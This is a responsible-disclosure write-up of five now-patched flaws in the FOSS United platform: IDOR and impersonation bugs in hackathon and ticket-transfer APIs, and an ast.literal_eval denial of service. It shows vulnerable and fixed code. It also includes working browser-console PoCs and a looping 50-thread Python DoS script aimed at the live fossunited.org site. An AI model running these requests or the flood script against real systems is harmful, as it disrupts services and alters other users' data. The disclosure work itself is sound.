Security issues appear as platforms grow but what matters is how they are discovered, shared and fixed. In January 2026, I came across a bunch of security vulnerabilities in the FOSS United platform. The platform being open source made it much easier for me to find the vulnerabilities.

The findings were shared privately with the FOSS United team and the vulnerabilities were patched before publishing this writeup.

The Findings

IDOR Vulnerability in Hackathons Project Page

The API endpoints responsible for adding PRs/Issues from a Hackathon Project do not enforce proper authorization checks. They accept a project ID as an argument and perform the action immediately without verifying if the currently logged-in user (frappe.session.user) is a member of the team that owns the project.

This allows any authenticated user to modify the PR/Issue list of any project if they know the Project ID (which is discoverable).

Affected Endpoint: fossunited.api.hackathon.add_pr_issue_to_project

The function in question:

@frappe.whitelist()
def add_pr_issue_to_project(project: str, details: dict) -> None:
    if not frappe.db.exists(HACKATHON_PROJECT, project):
        frappe.throw("Project does not exist")

    issue_pr = frappe.get_doc(
        {
            "doctype": "Hackathon Project Issue PR",
            "parent": project,
            "parenttype": HACKATHON_PROJECT,
            "parentfield": "issue_pr_table",
            "title": details["title"],
            "link": details["link"],
            "type": details["type"],
        }
    )
    issue_pr.insert()

The core issue is that there is no authorization check.

This endpoint never checks: who is calling it (i.e. frappe.session.user)

Whether the caller is:

  • A member of the team
  • The project owner
  • Even part of the hackathon

The only validation is:

if not frappe.db.exists(HACKATHON_PROJECT, project):

That means:

Any authenticated user can modify issue/PR list of any project if they know the project ID (which is easily discoverable).

PoC code:

var payload = {
  project: "1pcdaioeqm", // Target Project ID
  details: {
    title: "Security Test: IDOR PoC",
    link: "https://github.com/fossunited/fossunited/pull/1",
    type: "Pull Request",
  },
};
fetch("/api/method/fossunited.api.hackathon.add_pr_issue_to_project", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "X-Frappe-CSRF-Token": window.csrf_token,
  },
  body: JSON.stringify(payload),
})
  .then((r) => r.json())
  .then((r) => {
    if (r.exc) {
      console.error("Exploit Failed (or Error):", r.exc);
    } else {
      console.log("IDOR Confirmed");
      console.log("Response:", r);
    }
  })
  .catch((e) => console.error("Fetch Error:", e));

Unauthorized Hackathon Registration via User Impersonation

During my assessment, I found a broken access control vulnerability in the hackathon registration flow. The API endpoint responsible for creating hackathon participants allowed any authenticated user to register any other user for a hackathon without their knowledge or consent.

The endpoint trusted attacker-controlled identity fields and failed to verify that the authenticated session user (frappe.session.user) matched the user being registered.

Affected Endpoint: fossunited.api.hackathon.create_participant

Vulnerable Function (Before Fix):

@frappe.whitelist(allow_guest=True)
def create_participant(hackathon, participant):
    participant_doc = frappe.get_doc(
        {
            "doctype": HACKATHON_PARTICIPANT,
            "hackathon": hackathon.get("data").get("name"),
            "user": participant.get("user"),
            "user_profile": participant.get("user_profile"),
            "full_name": participant.get("full_name"),
            "email": participant.get("email"),
            "is_student": participant.get("is_student"),
            "organization": participant.get("organization"),
            "git_profile": participant.get("git_profile"),
        }
    )
    participant_doc.insert(ignore_permissions=True)

The core issue was trusting client-supplied identity data.

The endpoint never verified:

  • That the caller was authenticated
  • That participant.user matched frappe.session.user
  • That the caller was registering themselves

Because of this, the attacker could fully control:

  • user
  • email
  • full_name
  • user_profile

Additionally, the use of ignore_permissions=True bypassed all framework-level permission checks.

This allowed any authenticated user to register arbitrary email addresses for a hackathon & silent user impersonation.

PoC Code:

The following request was executed from the browser console while logged in as an attacker:

fetch('/api/method/fossunited.api.hackathon.create_participant', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-Frappe-CSRF-Token': window.csrf_token
  },
  body: JSON.stringify({
    hackathon: { data: { name: '1hdcnkbtmk' }},  
    participant: {
      user: 'victim@example.com',
      email: 'victim@example.com',
      full_name: 'Fake Registration',
      organization: 'Attacker Org',
      git_profile: 'https://github.com/attacker'
    }
  }),
  credentials: 'include'
})
  .then(r => r.json())
  .then(console.log);

Observed Result:

{
  "owner": "attacker@example.com",
  "user": "victim@example.com",
  "email": "victim@example.com",
  "full_name": "Fake Registration",
  "organization": "Attacker Org",
  "hackathon": "1hdcnkbtmk"
}

The owner field reflects the attacker’s account, while the user and email fields belong to the victim.

This vulnerability was later fixed by binding registration strictly to frappe.session.user & removing guest access.

Resource Exhaustion via ast.literal_eval (DoS)

Another issue I came across was a denial-of-service vulnerability in the calendar export functionality. The generate_ics endpoint accepted user-controlled input and parsed it using Python’s ast.literal_eval, which is unsafe when exposed to untrusted data.

Although ast.literal_eval is commonly assumed to be safer than eval, it is still vulnerable to uncontrolled resource consumption. When given deeply nested or malformed input, it can exhaust CPU and memory, eventually crashing the worker or severely degrading performance.

Affected Endpoint: fossunited.api.chapter.generate_ics

The vulnerable function looked like this:

@frappe.whitelist(allow_guest=True)
def generate_ics(event_ids):
    """
    Args:
        event_ids (list): list of event ids (doc.name)
    """
    c = Calendar()
    ids = ast.literal_eval(event_ids)

The endpoint was publicly accessible (allow_guest=True) and performed no validation on input size or structure. This meant that any unauthenticated user could supply arbitrarily complex input and force the server to parse it.

The core problem is that ast.literal_eval parses Python syntax by recursively building an Abstract Syntax Tree (AST). A payload containing thousands of nested brackets forces the parser to allocate a large number of AST nodes and recurse deeply, consuming excessive CPU and memory. Unlike json.loads, it has no built-in safeguards for limiting recursion depth or input complexity.

This makes it vulnerable to so-called syntax bombs such as:

[[[[[[[[[[[[[[[[[[[[ ... ]]]]]]]]]]]]]]]]]]]

Even though this input contains no executable code, parsing it alone is enough to cause service disruption.

To demonstrate the impact in a controlled manner, a proof-of-concept script was written that generates deeply nested payloads and sends them concurrently to the vulnerable endpoint while monitoring latency and error rates.

An excerpt from the payload script is shown below:

#!/usr/bin/env python3
"""
ast.literal_eval Resource Exhaustion
Demonstrates CPU exhaustion via deeply nested structures passed to
ast.literal_eval() in the generate_ics endpoint.
"""

import subprocess
import time
import threading
import concurrent.futures

def make_payload(depth):
    return "[" * depth + "1" + "]" * depth

def attack(target, payload):
    subprocess.run(
        [
            "curl",
            "-s",
            "-X", "POST",
            f"{target}/api/method/fossunited.api.chapter.generate_ics",
            "-H", "Content-Type: application/json",
            "-d", f'{{"event_ids": "{payload}"}}'
        ],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL
    )

def worker(target, payload):
    while True:
        attack(target, payload)

payload = make_payload(12000)
target = "https://fossunited.org"

with concurrent.futures.ThreadPoolExecutor(max_workers=50) as pool:
    for _ in range(50):
        pool.submit(worker, target, payload)

Running the "more aggressive" version of this script resulted in clear service degradation. Latency increased from tens of milliseconds to several seconds & requests began timing out.

This vulnerability maps to CWE-400 (Uncontrolled Resource Consumption). While no data was leaked or modified, the impact was significant enough to cause denial of service.

The endpoint expects a list of event IDs, which is already compatible with JSON. Replacing ast.literal_eval with json.loads, along with enforcing basic size and type validation, removes the recursive parsing behavior and prevents resource exhaustion entirely.

This issue is a good example of how seemingly harmless convenience functions can become serious liabilities when exposed to untrusted input, especially on public endpoints.

Unauthorized Project Creation in Hackathon Teams

Another access control issue I found was related to project creation within hackathon teams. The API endpoint responsible for creating hackathon projects did not verify whether the user creating the project was actually a member of the team.

This meant that any authenticated user could create a project for any team, as long as they knew the team ID.

Affected Endpoint: fossunited.api.hackathon.create_project

Before this was fixed, the endpoint trusted the provided team parameter and proceeded with project creation without checking ownership or membership.

The vulnerable function looked like this:

@frappe.whitelist()
def create_project(hackathon: str, team: str, project: dict) -> dict:
    project_doc = frappe.get_doc(
        {
            "doctype": HACKATHON_PROJECT,
            "hackathon": hackathon,
            "team": team,
            "title": project.get("title"),
            "short_description": project.get("short_description"),
            "description": project.get("description"),
            "repo_link": project.get("repo_link"),
            "demo_link": project.get("demo_link"),
        }
    )
    project_doc.insert(ignore_permissions=True)
    return project_doc

The core issue was the absence of any authorization checks.
The endpoint never verified that the currently logged-in user (frappe.session.user) was:

  • A member of the team
  • Associated with the team’s participant list
  • Authorized to act on behalf of that team

As a result, an attacker could create projects for arbitrary teams & tamper with hackathon submissions.

PoC Code:

fetch("/api/method/fossunited.api.hackathon.create_project", {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "X-Frappe-CSRF-Token": window.csrf_token
    },
    body: JSON.stringify({
        hackathon: "1hdcnkbtmk",
        team: "9i83d7bf4i",
        project: {
            title: "Unauthorized Project Creation PoC",
            short_description: "Test",
            description: "Unauthorized project creation",
            repo_link: "https://github.com",
            demo_link: "https://example.com",
            is_contribution_project: 0,
            is_partner_project: 0
        }
    })
}).then(r => r.json()).then(console.log);

This issue was fixed by enforcing a strict team membership check before allowing project creation.

The patched version now explicitly verifies that the session user belongs to the specified team, either directly via email or through the participant record, and rejects unauthorized attempts.

The fixed logic looks like this:

@frappe.whitelist()
@frappe.rate_limiter.rate_limit(limit=3, seconds=60 * 60 * 12)
def create_project(hackathon: str, team: str, project: dict) -> dict:
    team_doc = frappe.get_doc(HACKATHON_TEAM, team)

    is_member = False
    user_email = frappe.session.user

    for member in team_doc.members:
        if member.email == user_email:
            is_member = True
            break

        if member.member:
            participant_email = frappe.db.get_value(
                HACKATHON_PARTICIPANT,
                member.member,
                "user",
            )
            if participant_email == user_email:
                is_member = True
                break

    if not is_member:
        frappe.throw(
            "You are not authorized to create a project for this team",
            frappe.PermissionError,
        )

    project_doc = frappe.get_doc(
        {
            "doctype": HACKATHON_PROJECT,
            "hackathon": hackathon,
            "team": team,
            "title": project.get("title"),
            # ...
        }
    )
    project_doc.insert(ignore_permissions=True)
    return project_doc

A rate limit was also added to reduce the risk of abuse.

With this fix in place, only legitimate team members can create projects for their teams, and unauthorized project creation attempts are correctly blocked.

IDOR in Ticket Transfer Status Change

The last issue I identified was an insecure direct object reference (IDOR) in the ticket transfer workflow. The API endpoint responsible for updating the status of ticket transfer requests allowed unauthenticated users to modify the state of any transfer.

This issue was identified through static code analysis. At the time of testing, there were no active events with transferable tickets, so dynamic exploitation was not possible. However, the authorization flaw is clear from the code and would be exploitable once transfers are active.

Affected Endpoint: fossunited.api.tickets.change_transfer_status

The vulnerable function looked like this:

@frappe.whitelist(allow_guest=True)
def change_transfer_status(transfer_id: str, status: str):
    doc = frappe.get_doc(TICKET_TRANSFER, transfer_id)
    doc.status = status
    doc.save()
    return True

The endpoint was explicitly marked as guest-accessible and performed no ownership or authorization checks before updating the transfer record.

The core issue here is that the endpoint blindly trusts a user-supplied transfer_id.

It never verifies:

  • Who is calling the endpoint (frappe.session.user)
  • Whether the caller is the original ticket owner
  • Whether the caller is the intended recipient of the transfer
  • Whether the caller is authenticated at all

As long as a valid transfer_id is provided, the backend updates the transfer status immediately.

This means that an attacker could theoretically approve, reject, or cancel ticket transfers belonging to other users simply by guessing or obtaining a valid transfer ID.

A minimal request would look like this:

curl -X POST "https://fossunited.org/api/method/fossunited.api.tickets.change_transfer_status" \
  -H "Content-Type: application/json" \
  -d '{
    "transfer_id": "TICKET-TRANSFER-00001",
    "status": "Completed"
  }'

Because there is no ownership validation, the request would succeed regardless of who sent it.

The potential impact includes unauthorized approval/cancellation of ticket transfers and disruption of ticket ownership workflows. Even though this issue was not observed live due to inactive events, the severity of the logic flaw places it in the critical category.

The fix for this issue is straightforward. The endpoint should require authentication and ensure that the logged-in user is directly involved in the transfer before allowing any status change.

A secure implementation would verify that frappe.session.user matches either the original ticket holder or the designated receiver, and restrict the allowed status transitions:

@frappe.whitelist()
def change_transfer_status(transfer_id: str, status: str):
    doc = frappe.get_doc(TICKET_TRANSFER, transfer_id)
    ticket = frappe.get_doc(EVENT_TICKET, doc.ticket)

    current_user = frappe.session.user
    if current_user not in [ticket.email, doc.receiver_email]:
        frappe.throw("Unauthorized to modify this transfer", frappe.PermissionError)

    if status not in ["Completed", "Cancelled"]:
        frappe.throw("Invalid status")

    doc.status = status
    doc.save()
    return True

This issue reinforces a recurring theme across multiple findings in this assessment: object existence checks are not authorization checks. Any endpoint that modifies state must validate who is performing the action, not just what object is being acted on.

Closing note

I want to thank the FOSS United team for acknowledging these security issues and patching them quickly. The prompt response and open communication made responsible disclosure smooth and encouraging.

Thanks to my friend Kartik for helping me with testing & validating findings.

Security issues are inevitable as platforms grow. What matters is how they’re handled once found - and in this case, it was handled well.